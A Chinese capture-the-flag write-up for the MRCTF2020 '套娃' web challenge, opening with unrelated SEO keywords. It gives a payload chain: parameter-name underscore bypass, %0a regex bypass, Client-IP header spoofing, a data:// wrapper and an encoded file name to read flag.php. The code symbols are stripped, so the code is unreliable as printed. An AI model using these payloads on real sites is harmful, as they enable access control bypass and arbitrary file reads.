自有服务器可以做网站吗,phpcms获取网站访问量,做网站什么硬盘好,网站建设规定[MRCTF2020]套娃 文章目录 [MRCTF2020]套娃掌握知识解题思路代码分析1代码分析2 关键paylaod 掌握知识
参数的_符号的替换#xff0c;正则和强等于联合绕过#xff0c;jsfuck编码#xff0c;bp请求方式的转变#xff0c;本地ip的请求头#xff0c;代码审计#xff0c…[MRCTF2020]套娃 文章目录 [MRCTF2020]套娃掌握知识解题思路代码分析1代码分析2 关键paylaod 掌握知识
参数的_符号的替换正则和强等于联合绕过jsfuck编码bp请求方式的转变本地ip的请求头代码审计简单的字符串解密和加密函数之间的逆推构造file_get_contents函数的绕过
解题思路
打开题目链接发现界面没什么内容查看源码发现了一串代码代码还算简单获取参数不能有_下面传参的内容不能等于23333但还要以23333开头和结尾经典矛盾 代码分析1
对于第一个判断因为参数是b_u_p_t肯定是有_的但是php解析中可以把.和空格都当做_解析所以构建参数为b.u.p.t。第二个矛盾的判断很明显肯定是23333结尾加一点特殊字符满足前后两个条件。这里可以使用换行符%0a正则匹配不会把该符号当作内容进行匹配所以并不会影响23333开头结尾的匹配而接受参数的变量会把整体内容都保存所以就不会和23333相等了即可通过判断 通过判断后提示flag在一个文件中访问之后提示需要被登录查看了一下源码发现了一串被注释的jsfuck编码将其在线网站解密后得到需要进行post传参Merak 抓包之后右键切换请求方式进行post传参查看相应界面发现了一串代码根据代码内容很明显这是套娃的最后一步了 include takeip.php;
ini_set(open_basedir,.);
include flag.php;if(isset($_POST[Merak])){ highlight_file(__FILE__); die();
} function change($v){ $v base64_decode($v); $re ; for($i0;$istrlen($v);$i){ $re . chr ( ord ($v[$i]) $i*2 ); } return $re;
}
echo Local access only!.br/;
$ip getIp();
if($ip!127.0.0.1)
echo Sorry,you dont have permission! Your ip is :.$ip;
if($ip 127.0.0.1 file_get_contents($_GET[2333]) todat is a happy day ){
echo Your REQUEST is:.change($_GET[file]);
echo file_get_contents(change($_GET[file])); }
? 代码分析2
对代码进行分析post传参merak就会显示源代码但是代码也就终止了。第一个判断是要求ip地址为127.0.0.1这个使用XFF头就能通过但是这里对XFF进行了过滤使用其他的请求头功能也一样client-ip:127.0.0.1。第二个判断是需要绕过file_get_contents函数只需要使用data协议或者php的input协议将后面的内容输出传递即可绕过
if(isset($_POST[Merak])){ highlight_file(__FILE__); die();
}
if($ip!127.0.0.1)
if($ip 127.0.0.1 file_get_contents($_GET[2333]) todat is a happy day )通过判断就能进行文件读取了但是还要经过change函数该函数先对字符串进行base64解密再对每一位字符进行特殊运算。这种也很好解决只需要写个代码将解密代码顺序进行颠倒即可还原加密后的字符串通过该解密函数后就能得到正常的文件名了
# 解密
function change($v){ $v base64_decode($v); $re ; for($i0;$istrlen($v);$i){ $re . chr ( ord ($v[$i]) $i*2 ); } return $re;
}# 加密
str1flag.php
str2
for i in range(len(str1)):str2chr(ord(str1[i])-i*2)
print(str2)
# fj]af\b将逆推得到的文件名进行base64编码即可完成加密文件名过程接下来就是进行GET传参了将2333和file赋予分析得到的paylaod传参之后即可拿下flag 关键paylaod
b.u.p.t23333%0aMerak # post传参client-ip:127.0.0.1str1flag.php
str2
for i in range(len(str1)):str2chr(ord(str1[i])-i*2)
print(str2)
# fj]af\b/secrettw.php?2333data://text/plain,todat%20is%20a%20happy%20dayfileZmpdYSZmXGI